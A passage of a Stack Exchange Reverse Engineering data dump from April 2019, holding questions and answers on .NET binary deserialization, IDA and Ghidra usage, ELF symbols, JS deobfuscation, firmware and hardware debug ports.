href=&quot;https://github.com/malaterre/MMCPrivate&quot; rel=&quot;nofollow noreferrer&quot;&gt;Code&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;using System;&#xA;using System.IO;&#xA;using System.Collections;&#xA;using System.Runtime.Serialization.Formatters.Binary;&#xA;using System.Runtime.Serialization;&#xA;&#xA;public class Dump&#xA;{&#xA;    [STAThread]&#xA;    static void Main() &#xA;    {&#xA;        Deserialize();&#xA;    }&#xA;&#xA;static void Deserialize() &#xA;{&#xA;    // Declare the hashtable reference.&#xA;    Hashtable addresses  = null;&#xA;&#xA;    // Open the file containing the data that you want to deserialize.&#xA;    FileStream fs = new FileStream(&quot;input.dat&quot;, FileMode.Open);&#xA;    try &#xA;    {&#xA;        BinaryFormatter formatter = new BinaryFormatter();&#xA;&#xA;        // Deserialize the hashtable from the file and &#xA;        // assign the reference to the local variable.&#xA;        addresses = (Hashtable) formatter.Deserialize(fs);&#xA;    }&#xA;    catch (SerializationException e) &#xA;    {&#xA;        Console.WriteLine(&quot;Failed to deserialize. Reason: &quot; + e.Message);&#xA;        throw;&#xA;    }&#xA;    finally &#xA;    {&#xA;        fs.Close();&#xA;    }&#xA;&#xA;    // To prove that the table deserialized correctly, &#xA;    // display the key/value pairs.&#xA;    foreach (DictionaryEntry de in addresses) &#xA;    {&#xA;        Console.WriteLine(&quot;{0} lives at {1}.&quot;, de.Key, de.Value);&#xA;    }&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Leads to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ mono ./Dump.exe&#xA;Failed to deserialize. Reason: Unable to find assembly 'ApplicationObjects, Version=1.0.4073.26998, Culture=neutral, PublicKeyToken=null'.&#xA;&#xA;Unhandled Exception:&#xA;System.Runtime.Serialization.SerializationException: Unable to find assembly 'ApplicationObjects, Version=1.0.4073.26998, Culture=neutral, PublicKeyToken=null'.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/b85344hz(v=vs.110).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;BinaryFormatter.Deserialize Method&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/cc236844.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;[MS-NRBF]: .NET Remoting: Binary Format Data Structure&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3041" LastEditorUserId="3041" LastEditDate="2019-04-16T06:46:20.460" LastActivityDate="2019-04-16T06:46:20.460" Title="Decode C# binary serialization data" Tags="|binary|binary-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21108" PostTypeId="1" CreationDate="2019-04-10T13:51:05.690" Score="0" ViewCount="57" Body="&lt;p&gt;I want to add a remark for all non direct function calls.&#xA;e.g. say i have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov EAX [functionEP]&#xA;call EAX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming i have many such calls to various functions, I would like to run the debugger and every time there are calls to such function add a remark which states the real call address/function name so that it will be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov EAX [functionEP]&#xA;call EAX ; functionName&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="25313" LastActivityDate="2019-04-10T13:51:05.690" Title="use ida python to add a remark when calling a function using register" Tags="|ida|idapython|ida-plugin|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21109" PostTypeId="1" CreationDate="2019-04-10T14:16:05.510" Score="2" ViewCount="691" Body="&lt;p&gt;I want to write a new script for ghidra to extract variuous information from the binary and store it to an external file for future management. I need to perform the analyisis with Ghidra Headless in order to put it in an analysis workflow with other tool. I can't found any guide/tutorial on how to correctly use eclpise to launch ghidra headless and run the current developing script. I had already installed the ghidraDev extension and it can correctly run Ghidra Gui&lt;/p&gt;&#xA;" OwnerUserId="28094" LastActivityDate="2019-04-10T14:16:05.510" Title="Debugging Ghidra Script" Tags="|python|java|ghidra|" AnswerCount="0" CommentCount="1" ClosedDate="2019-04-19T20:30:55.473" ContentLicense="CC BY-SA 4.0" />
  <row Id="21110" PostTypeId="2" ParentId="16023" CreationDate="2019-04-10T14:36:43.617" Score="2" Body="&lt;p&gt;The other two answers are wrong.&#xA;I reversed &lt;code&gt;link.exe&lt;/code&gt; and the way it works is that if the “function” points into the export directory&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(NTHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress &amp;lt;= func_ptr &amp;lt; NTHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + NTHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;it is a forwarded export (i.e. you will find a string there).&lt;/p&gt;&#xA;&lt;p&gt;The method from the other two answers used to work because the linker used to put the export directory as well as the forward strings into the &lt;code&gt;.data&lt;/code&gt; section, but that is no longer the case. Newer linkers put the export directory and the forward strings into the &lt;code&gt;.text&lt;/code&gt; section (where all the “actual” functions reside as well), so checking whether the “function” is in the same section as the export directory will no longer work.&lt;/p&gt;&#xA;" OwnerUserId="24983" LastEditorUserId="44585" LastEditDate="2023-11-08T23:15:51.397" LastActivityDate="2023-11-08T23:15:51.397" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21111" PostTypeId="1" CreationDate="2019-04-10T14:57:17.303" Score="3" ViewCount="1042" Body="&lt;p&gt;I am relatively new to JS and de-obfuscation in general and I am having difficulties reversing some complicated JS. I know the code itself is obsfucated via jscrambler 3-4x and therefore is ran through the eval() function the same amount of times to reconstruct and execute the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any good sources around creating de-obfuscators in this context? it appears most sources I have looked at only talk about code being ran through the eval function once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any help!&lt;/p&gt;&#xA;" OwnerUserId="28093" LastActivityDate="2023-04-21T03:08:30.937" Title="De-obfuscating code ran through JScrambler 3x via Eval() functions" Tags="|decompilation|deobfuscation|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21112" PostTypeId="2" ParentId="21106" CreationDate="2019-04-10T15:59:44.527" Score="2" Body="&lt;p&gt;My suggestion is that you generate a graphviz (&lt;a href=&quot;https://graphviz.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://graphviz.org/&lt;/a&gt;) file with all the nodes and all the information that you want and then with the command dot you paint the graph. However, if you want to make it on realtime or on a fancy UI I will suggest you use networkx (&lt;a href=&quot;https://networkx.github.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://networkx.github.io/&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="25705" LastActivityDate="2019-04-10T15:59:44.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21114" PostTypeId="2" ParentId="18846" CreationDate="2019-04-10T20:46:38.620" Score="4" Body="&lt;p&gt;I found a way! &lt;br&gt;&#xA;Press &lt;code&gt;w&lt;/code&gt; you will enter in &quot;Window mode&quot; &lt;br&gt;&#xA;Use &lt;code&gt;hjkl&lt;/code&gt; to move around panels and &lt;code&gt;HJKL&lt;/code&gt; to resize then.&lt;br&gt;&#xA;To quit &quot;Window mode&quot; press &lt;code&gt;q&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="24762" LastActivityDate="2019-04-10T20:46:38.620" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21115" PostTypeId="1" AcceptedAnswerId="21162" CreationDate="2019-04-11T03:48:50.703" Score="0" ViewCount="233" Body="&lt;p&gt;I have a question about reverse engineering a Roland gr-55 guitar synthesizer. I'm 90% sure the device uses a Renesas sh7722 processor as the main CPU, or at least one of the CPU's in the SH family. I first tried to disassemble the firmware binary using IDA, I then realized that IDA doesn't support the exact processor I have. On Renesas' website all the development tools are available along with a debugging emulator (E10A-USB emulator). My question is, am I able to use this emulator with my device? According to the user manual for the E10Aa-USB emulator (pg.31) the devices uses either a 14 pin or 36 pin connector which connects from the emulator to the user system or (gr-55 PCB board). According to the schematics for the Roland gr-55 (pg.34) top left corner of the page you can see a 24 pin connector labeled 24FLT-SM2-TB unpop for debug. So it seems the debugging port for the gr-55 is a 24 pin connector. So did the manufacture use their own custom emulator designed for just this board? Can there be multiple emulators for a processor, or is it that the main CPU is not a Renesas sh7722 and the E10A-USB is the wrong emulator. If the manufacture of the board did use their own custom emulator, is there any way to find and acquire the correct one? I'll post the schematics for the Roland GR-55 and the emulator user manual below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.renesas.com/tw/zh/doc/products/tool/doc/004/R20UT0870EJ1001_e10a.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;E10A-USB Emulator user manual Pg.31&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joness.com/gr300/service/GR-55_SERVICE_NOTES.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Roland Gr-55 schematic service notes pg.34&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.renesas.com/us/en/products/microcontrollers-microprocessors/superh/sh7780/sh7722.html#tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;the development tools for sh7722, (emulator is at bottom of list)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.roland.com/us/support/by_product/gr-55/updates_drivers/f64a41ce-c897-4fd5-94d7-71ec8ff6f036/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download link for the Roland GR-55 firmware &lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also on the board the 24 pin connector is not present, but it seems the outline for the connector is there for me to solder it to the board. So it seems if I find the right emulator I would have to solder on the 24 pin connector first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main goal is to be able acquire all the right development software and equipment for this unit, learn the assembly language for this processor, and disable the checksum so i'm able to change the names of strings and maybe some other functions making the UI for this system 1000x more usable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone can clear this up for me I would greatly appreciate it.&lt;/p&gt;&#xA;" OwnerUserId="25860" LastEditorUserId="25860" LastEditDate="2019-04-13T17:19:51.757" LastActivityDate="2019-04-16T07:50:00.440" Title="Finding the correct emulator for programming a renesas sh7722 processor" Tags="|disassembly|debugging|emulation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21116" PostTypeId="1" CreationDate="2019-04-11T04:57:15.857" Score="3" ViewCount="546" Body="&lt;p&gt;I have a Panasonic air conditioner that has a header on the mainboard that various optional (expensive) addon communications modules can connect into eg wifi&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The unit is a Panasonic Split system from the CU/CSZ20TKR range (however this connector is common across many of the panasonic series)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wanting to see if I can connect to this port and control it over serial or similar once I determine what protocol it is using. RS232?, RS485?&#xA;I have been trying to determine what protocol this port uses to communicate with the addon modules that can be plugged into it and what the correct connections are. Once I have determined the correct pins and protocol I should be able to write a script that will do the communication. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done some research and probing with multimeter (I don't have an oscilloscope currently) and located a circuit diagram for the header on the mainboard,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i have determined so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pin 1 5v&lt;/li&gt;&#xA;&lt;li&gt;Pin 2 5v&lt;/li&gt;&#xA;&lt;li&gt;Pin 3 5v&lt;/li&gt;&#xA;&lt;li&gt;Pin 4 12v&lt;/li&gt;&#xA;&lt;li&gt;Pin 5 Gnd&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yyyy8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yyyy8.png&quot; alt=&quot;Circuit diagram of the port&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the modules available to plug into this port are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CZ-TACG1 Wifi kit: &lt;a href=&quot;http://www.panasonic.hk/usm.ashx/e/7zt1rwYXAiWEX1X3Hkyy9Naxy7NSnBFA89YBELQe-2L0J2RMcxQSCsgXytHbtm7ZBFLpQZ8phzb451XTOV_fX3-xb7Vrxt1ft7KR-ODzZh6hNYcPgXEggCffw1CXZUluSh5e~UC~0Hc00GxCOL1ctdmAe6NNFvzxYL30cW-4zk8o/CZ-TACG1-WiFi-adapter-users-maunal.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.panasonic.hk/usm.ashx/e/7zt1rwYXAiWEX1X3Hkyy9Naxy7NSnBFA89YBELQe-2L0J2RMcxQSCsgXytHbtm7ZBFLpQZ8phzb451XTOV_fX3-xb7Vrxt1ft7KR-ODzZh6hNYcPgXEggCffw1CXZUluSh5e~UC~0Hc00GxCOL1ctdmAe6NNFvzxYL30cW-4zk8o/CZ-TACG1-WiFi-adapter-users-maunal.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;IntesisBox PA-AC-BAC-1: &lt;a href=&quot;https://www.intesisbox.com/intesis/product/media/intesisbox_pa-ac-bac-1_installation_manual_en.pdf?v=2.1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.intesisbox.com/intesis/product/media/intesisbox_pa-ac-bac-1_installation_manual_en.pdf?v=2.1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Panasonic PAW-SERVER-PKEA -&#xA;&lt;a href=&quot;https://www.panasonicproclub.com/uploads/IE/catalogues/II_PAW-SERVER_PKEA_v44_EN_2013.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.panasonicproclub.com/uploads/IE/catalogues/II_PAW-SERVER_PKEA_v44_EN_2013.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="27997" LastActivityDate="2023-01-05T13:07:15.800" Title="Help determining pinout for communications port" Tags="|serial-communication|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21118" PostTypeId="1" CreationDate="2019-04-11T06:42:13.167" Score="10" ViewCount="5384" Body="&lt;p&gt;I'm trying to learn &lt;a href=&quot;https://ghidra-sre.org/&quot; rel=&quot;noreferrer&quot;&gt;Ghidra&lt;/a&gt;. Say, if it generated the following code for loading functions from an array of function names from &lt;code&gt;gpfnCommCtrlAPI&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ym12u.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ym12u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to retype &lt;code&gt;gpfnCommCtrlAPI&lt;/code&gt; into &lt;code&gt;char*[14]&lt;/code&gt; which made it quite readable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8wZw8.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8wZw8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then is it possible to retype &lt;code&gt;g_pfnsUxCtrl&lt;/code&gt;, a pointer to an array of function pointers, (possibly with a custom &lt;code&gt;enum&lt;/code&gt;) to make it a little bit more readable? Here's an example of how it looks now in case of &lt;code&gt;g_pfnsUxCtrl[7]&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RHmDT.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RHmDT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. To understand what index &lt;code&gt;7&lt;/code&gt; refers to in that case I need to go back to the &lt;code&gt;gpfnCommCtrlAPI&lt;/code&gt; array, which may not be immediately available where &lt;code&gt;g_pfnsUxCtrl[7]&lt;/code&gt; is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS2. In that case case, I manually renamed &lt;code&gt;p_comctl32_HandleScrollCmd&lt;/code&gt; variable to make it more readable.&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2020-05-17T11:04:25.417" Title="Can I define custom enum-type to be used in Ghidra as a data type?" Tags="|windows|binary-analysis|decompilation|static-analysis|ghidra|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21119" PostTypeId="1" CreationDate="2019-04-11T10:32:29.923" Score="1" ViewCount="10818" Body="&lt;p&gt;I have written a ELF parser that disassmbles the .text section using capstone&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my problem is that i dont know how can i segment the text section based on functions and print the name of the function just like the output of objdump -d&lt;/p&gt;&#xA;&#xA;&lt;p&gt;because objdump outputs like this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0x01000 func1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0x01000 .. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;0x01001 ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can i find out the name and start address of every function in .text so i can output something like objdump? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i tried using string to see if the names store somewhere in the binary for example in symbol table,  but couldn't find them anywhere in it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(note that I'm not talking about import functions and such, just the functions inside the actual main code in the .text section) &lt;/p&gt;&#xA;" OwnerUserId="25864" LastEditorUserId="25864" LastEditDate="2019-04-11T18:53:12.550" LastActivityDate="2019-04-14T20:34:48.813" Title="How do tools like objdump find names of functions and their start address in ELF binaries?" Tags="|elf|objdump|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="21120" PostTypeId="1" AcceptedAnswerId="21125" CreationDate="2019-04-11T13:02:42.173" Score="3" ViewCount="1182" Body="&lt;p&gt;I am new to reverse engineering.&#xA;Today when looking at IDA, I found this&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( *(_UNKNOWN **)(this + 8) == &amp;amp;unk_4EDC58 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I dont understand the part &quot;unk_4EDC58&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can you help me ? Thank you !&lt;/p&gt;&#xA;" OwnerUserId="27374" LastActivityDate="2019-04-11T20:14:26.490" Title="IDA &quot;unk_XXXXXX&quot; meaning?" Tags="|ida|" AnswerCount="1" CommentCount="2" ClosedDate="2019-04-15T05:53:54.593" ContentLicense="CC BY-SA 4.0" />
  <row Id="21121" PostTypeId="2" ParentId="21111" CreationDate="2019-04-11T13:51:31.700" Score="1" Body="&lt;p&gt;If I'm not mistaken, jscrambler has built-in capabilities against de-obfuscators. If you look at their docs you'll see that they were already doing this at version 3. Since they are an enterprise tool (unlike most JS obfuscators), it's likely there isn't any source for this.&lt;/p&gt;&#xA;" OwnerUserId="28124" LastActivityDate="2019-04-11T13:51:31.700" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21122" PostTypeId="5" CreationDate="2019-04-11T18:50:54.553" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2019-04-11T18:50:54.553" LastActivityDate="2019-04-11T18:50:54.553" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21123" PostTypeId="4" CreationDate="2019-04-11T18:50:54.553" Score="0" Body="Lua is a lightweight, embeddable, multi-paradigm, dynamically-typed programming languague." OwnerUserId="21194" LastEditorUserId="21194" LastEditDate="2019-04-12T17:02:33.177" LastActivityDate="2019-04-12T17:02:33.177" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21124" PostTypeId="2" ParentId="21099" CreationDate="2019-04-11T18:54:42.317" Score="0" Body="&lt;p&gt;Those are identified as &lt;code&gt;raw locals&lt;/code&gt;. You can enable their visibility by going to &lt;code&gt;Options&lt;/code&gt; in &lt;code&gt;Debug&lt;/code&gt; menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BmIl5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BmIl5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you will be able to see those elements in the locals window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/W6Clb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W6Clb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And from there you can right click on it and select &lt;code&gt;Show in Memory Window&lt;/code&gt; -&gt; &lt;code&gt;Memory 1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/x1dBw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x1dBw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and analyze the data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3pwLw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3pwLw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that's not the end of our work. Those are just the pointers so our array contains such addresses (little-endian):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x610245D4,0x610245D7,0x610245DA,0x610245DD,0x610245E0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if your example tries to access offset &lt;code&gt;+4&lt;/code&gt; it will get the second address and if we navigate there in the &lt;code&gt;Memory window&lt;/code&gt; we will see the strings there that will be passed to &lt;code&gt;strtoul&lt;/code&gt; method&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KSDbt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KSDbt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-04-11T18:54:42.317" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21125" PostTypeId="2" ParentId="21120" CreationDate="2019-04-11T20:14:26.490" Score="2" Body="&lt;p&gt;For IDA, it means this part of memory, at the address 0x004EDC58, doesn't have any types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's hard to be 100% sure with only one line of decompiled code, but I guess this code is typical from cl.exe (Microsoft C++ compiler) when it tries to inline a virtual method. To do so, it will directly check if the method (this + 8) is equal to the current method (0x004EDC58). If it's true, it will continue to the current code. Otherwise, the address of the method at &lt;code&gt;this + 8&lt;/code&gt; is read and it jumps to this address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have different options to set a type to this memory part. Since it seems to be a pointer to something, go to this address address and type 'o' or &lt;code&gt;Edit → Operand type → Offset → Offset (data segment)&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-04-11T20:14:26.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21126" PostTypeId="1" AcceptedAnswerId="21153" CreationDate="2019-04-12T09:11:55.610" Score="0" ViewCount="102" Body="&lt;p&gt;I am currently trying to reverse an app and I have one very stupid question I cannot figure out by myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The app was packed using FSG 2.0 and I successfully manually unpacked it and rebuilt the IAT (at least I believe I did).&#xA;The app is a Windows 32 bits PE and it has a small GUI (it's a crackme that has one simple input and once you click ok, it just replies goodboy or badboy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can see, it imports the SendMessage function and actually uses it but I can't find any GetMessage (nor PeekMessage) function imported.&#xA;Considering it is a GUI, is that even possible ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hints appreciated ! &lt;/p&gt;&#xA;" OwnerUserId="18818" LastEditorUserId="18818" LastEditDate="2019-04-12T10:53:12.560" LastActivityDate="2019-04-15T10:56:41.783" Title="Windows GUI app without GetMessage imported?" Tags="|windows|unpacking|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21129" PostTypeId="2" ParentId="21107" CreationDate="2019-04-12T13:30:05.203" Score="3" Body="&lt;p&gt;Turns out this was barely a reverse engineer task since everything is already available on internet. Mainly this post is a great read:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/30176566/136285&quot;&gt;How to analyse contents of binary serialization stream?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And then you can even play with a python implementation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/gurnec/Undo_FFG/blob/master/nrbf.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;nrbf.py - .NET Remoting Binary Format reading library for Python 3.6&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3041" LastEditorUserId="3041" LastEditDate="2019-04-16T06:44:53.107" LastActivityDate="2019-04-16T06:44:53.107" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21130" PostTypeId="1" AcceptedAnswerId="21132" CreationDate="2019-04-12T17:01:38.320" Score="0" ViewCount="330" Body="&lt;p&gt;I'd like to extract a plain dump of the UEFI firmware of my laptop (1:1 copy of the flash content, often called .bin or .rom files) from the .cap file, so that I can modify it slightly with me_cleaner.&#xA;(The .cap file is a raw image compressed and wrapped with the flash tool as part of a capsule.)&#xA;Then I suppose one has to reconstruct the capsule so it's valid, and it has a chance of passing signature check when updating firmware with fwupd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My machine is a Thinkpad T460s, which is supported by fwupd/LVFS&#xA;&lt;a href=&quot;https://fwupd.org/lvfs/device/com.lenovo.ThinkPadN1CHT.firmware&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://fwupd.org/lvfs/device/com.lenovo.ThinkPadN1CHT.firmware&lt;/a&gt;&#xA;and the me_cleaner tool is described at&#xA;&lt;a href=&quot;https://github.com/corna/me_cleaner/wiki/Internal-flashing-with-OEM-firmware&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/corna/me_cleaner/wiki/Internal-flashing-with-OEM-firmware&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, I'd be happy with just &lt;code&gt;me_cleaner.py -s &amp;lt;firmware image&amp;gt;&lt;/code&gt;, where -s is setting the HAP bit, and not modifying the actual image, so it may still pass signature check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hint where to start?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly related question: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8538/reverse-engineering-uefi-cap-files?newreg=3a029aaa7a9c4cf6ba42a5876a014ce2&quot;&gt;Reverse engineering UEFI CAP files&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28136" LastEditorUserId="28136" LastEditDate="2019-04-12T17:37:55.153" LastActivityDate="2019-04-12T20:04:19.557" Title="me_cleaner and fwupd, or manipulating UEFI .cab files" Tags="|binary-analysis|firmware|static-analysis|encryption|uefi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
